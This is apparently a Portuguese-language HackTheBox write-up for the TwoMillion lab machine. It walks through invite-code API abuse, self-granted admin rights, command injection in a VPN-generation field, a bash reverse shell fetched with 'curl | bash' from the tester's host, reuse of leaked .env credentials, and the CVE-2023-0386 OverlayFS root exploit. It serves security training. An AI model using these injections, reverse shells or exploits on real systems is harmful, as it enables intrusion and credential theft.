> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md).

# Relato do HackTheBox TwoMillion

{% embed url="<https://app.hackthebox.com/machines/TwoMillion>" %}

{% hint style="warning" %}
**Habilidades:**

* Abusando da API para gerar um código de convite válido
* Abusando da API para elevar nosso privilégio a administrador
* Injeção de comando por meio de funcionalidade da API mal projetada
* Vazamento de Informações
* Escalada de privilégio via exploração do kernel (CVE-2023-0386) - Vulnerabilidade do OverlayFS
  {% endhint %}

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/ae9c1f102f9e897131ad66a1d46d31e052ac0632" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/cce27df11bddba946089d783060dc4871e6071f1" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts
```

<figure><img src="/files/0b3c906d68452a8a5f739854aeb1548eaaf160b2" alt=""><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 2million.htb-oN targeted
```

<figure><img src="/files/cd657ff7fe9e5ce17140c206a9dc0f3bbd9c3ce7" alt=""><figcaption></figcaption></figure>

## Porta 80 - HTTP

<figure><img src="/files/dd51b9d4c0bd352562a58177180f3eed7ee5d8c0" alt=""><figcaption></figcaption></figure>

#### Descoberta de recursos com Gobuster

```bash
gobuster dir -u http://2million.htb/ /
-w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /
-t 100 -r --exclude-length 1674
```

<figure><img src="/files/2f6ffc93a8b5c8721d9915fde72d8a4bfe0d12dc" alt=""><figcaption></figcaption></figure>

#### Descoberta do `inviteapi.min.js` arquivo

Este arquivo JavaScript está fortemente ofuscado usando a técnica clássica `eval(function(p,a,c,k,e,d){...})` . Após a desofuscação, aparecem duas funções interessantes:

* `verifyInviteCode(code)`: envia um código de convite para `/api/v1/invite/verify`
* `makeInviteCode()`: faz uma requisição para `/api/v1/invite/how/to/generate`

<figure><img src="/files/5a52d7508a60c35ee3bc88fad2b5d51ca381e28f" alt=""><figcaption></figcaption></figure>

## Explorando a API – Gerando um código de convite

#### Chamada inicial :

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://2million.htb/api/v1/invite/how/to/generate
```

Resposta

> {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Os dados estão criptografados ... Provavelmente devemos verificar o tipo de criptografia para descriptografá-los..."}#

#### Descriptografia ROT13 → nova URL:

{% embed url="<https://rot13.com/>" %}

<figure><img src="/files/51b1931d6d1285659833c9f7f112aa4bd6aba68a" alt=""><figcaption></figcaption></figure>

Para gerar o código de convite, faça uma requisição POST para /api/v1/invite/generate

#### Requisição:

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://amillion.htb/api/v1/invite/generate
```

<figure><img src="/files/a816c46eefd612084f408ee49e365360b4fe0f7c" alt=""><figcaption></figcaption></figure>

Resposta (base64):

* V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=

Decodificação:

```bash
echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo
```

WUOIF-LK68X-HUGTW-DOX1S

Usamos esse código para criar uma conta no site.

<figure><img src="/files/efbe33d603ebc5d0a80096537cf607563e3ca597" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eae14757666fb49587f08ab91115e620981e9a53" alt="" width="389"><figcaption></figcaption></figure>

## Exploração da API do HackTheBox

<figure><img src="/files/c2297115bbdf245d229d3c5f7668caa64d252d14" alt=""><figcaption></figcaption></figure>

#### Observação da API

Ao visitar `/api`, podemos observar as rotas disponíveis.

<figure><img src="/files/4704098230749ec2c6ef0e2c83222f71f8205dd7" alt=""><figcaption></figcaption></figure>

#### Tentativa de gerar configuração de VPN (falha inicial)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate
```

Resposta: Não permitido.

<figure><img src="/files/747f97995adb93c6c0b2078a8ee261f145e14b10" alt=""><figcaption></figcaption></figure>

#### Modificando nosso papel pela API

<figure><img src="/files/9d9e4857799b4a88433f41751d69f0950bdbecb4" alt=""><figcaption></figcaption></figure>

Testamos alterar as configurações do usuário com a rota:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update
```

> {"status":"danger","message":"Parâmetro ausente: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'
```

> {"status":"danger","message":"Parâmetro ausente: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'
```

> Resposta:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/9fdf79205c38671756919b80bcc4f1c3bd0df57a" alt=""><figcaption></figcaption></figure>

#### Verificando nosso status de administrador

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}
```

<figure><img src="/files/705cb5143563589db0a61743f19c4f29168188c0" alt="" width="563"><figcaption></figcaption></figure>

### RCE via Injeção de Comando

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'
```

<figure><img src="/files/cb6e6dbbfcf4971f49fa9138d3a6e4a748744d1d" alt=""><figcaption></figcaption></figure>

Tentativa de injetar comando no campo `nome de usuário`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'
```

<figure><img src="/files/36bac5af8f19336e3405bb3b440764acf7ad37eb" alt=""><figcaption></figcaption></figure>

#### Shell reverso

1. **Servidor de arquivos**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80
```

2. **Netcat ouvindo**

```bash
nc -nvlp 443
```

3. **Enviando o comando**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'    
```

Obtemos uma reverse shell

<figure><img src="/files/6bba29594bd3c58dc06ea21ad5cc40478c79b812" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

#### Descoberta de arquivos sensíveis

Ao pesquisar nos arquivos acessíveis a partir da nossa shell, descobrimos um arquivo escondido `.env` contendo credenciais do banco de dados:

```bash
DATABASE=htb_prod
USERNAME=admin
PASSWORD=SuperDuperPass123
```

<figure><img src="/files/8d7a194cd2510b35d8ec303614d11cc883eae2df" alt=""><figcaption></figcaption></figure>

Também notamos a presença de um segundo usuário chamado `admin`.

<figure><img src="/files/eabbb393358e9836c88a1b0fecf00a4f55920953" alt=""><figcaption></figcaption></figure>

#### Reutilização de senha

Ao testar as credenciais descobertas, vemos que o usuário do sistema `admin` está usando a **mesma senha** que a senha do banco de dados.

### Flag user.txt :)

<figure><img src="/files/ee1ea48039f68d5847fa87f87144ba116a7d322d" alt=""><figcaption></figcaption></figure>

Essa má prática nos permite obter um **Conexão SSH**:

#### Email do Sistema

<figure><img src="/files/7f5bc54c6533201f0ef64b2b4c4bfc0466d1b706" alt=""><figcaption></figcaption></figure>

Ao se conectar, uma mensagem nos informa sobre a presença de um **novo email**. Ao lê-lo, obtemos informações cruciais:

> Ei, admin,
>
> Eu sei que você está trabalhando o mais rápido que pode para fazer a migração do banco de dados. Enquanto estamos parcialmente fora do ar, você também pode atualizar o SO do nosso host web? Já houve alguns CVEs sérios no kernel Linux este ano. Aquele no OverlayFS / FUSE parece bem ruim. Não podemos ser comprometidos por isso.

<figure><img src="/files/193e201967dc64738ab8ea3f760fbc73831c7b46" alt=""><figcaption></figcaption></figure>

Essa mensagem nos coloca na pista de uma **vulnerabilidade conhecida no OverlayFS**:/ **CVE-2023-0386** – uma vulnerabilidade local de escalada de privilégio no kernel Linux.

## Exploração do CVE-2023-0386 - Escalada de Privilégio no OverlayFS

> O OverlayFS permite sobrepor sistemas de arquivos. Em algumas versões do kernel Linux, um gerenciamento inadequado de capacidade permite que um usuário sem privilégios execute código com **privilégios de root**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Passos operacionais**

1. **Clone o exploit** em nossa máquina local:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Transfira os arquivos compilados** para a máquina alvo (`scp`, `python -m http.server`, etc.).

<figure><img src="/files/0271e966de4a1998dee596eb97978310829bef69" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/db3e960708a8a322fda73d8d96f366197c131742" alt=""><figcaption></figcaption></figure>

2. **Na máquina alvo**, execute em **dois terminais**:

* Terminal A :

```bash
./fuse ./ovlcap/lower ./gc
```

* Terminal B :

```bash
./exp
```

Se tudo correr bem, obtemos uma **root** shell

<figure><img src="/files/fd52833436be07c2eddaaee45f33720bfbdec291" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/b2392d600a6a5026df69cb9cfe4272da6bf86d5c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/50fe01449d2bcfde2e2116691bf12889244476a0" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
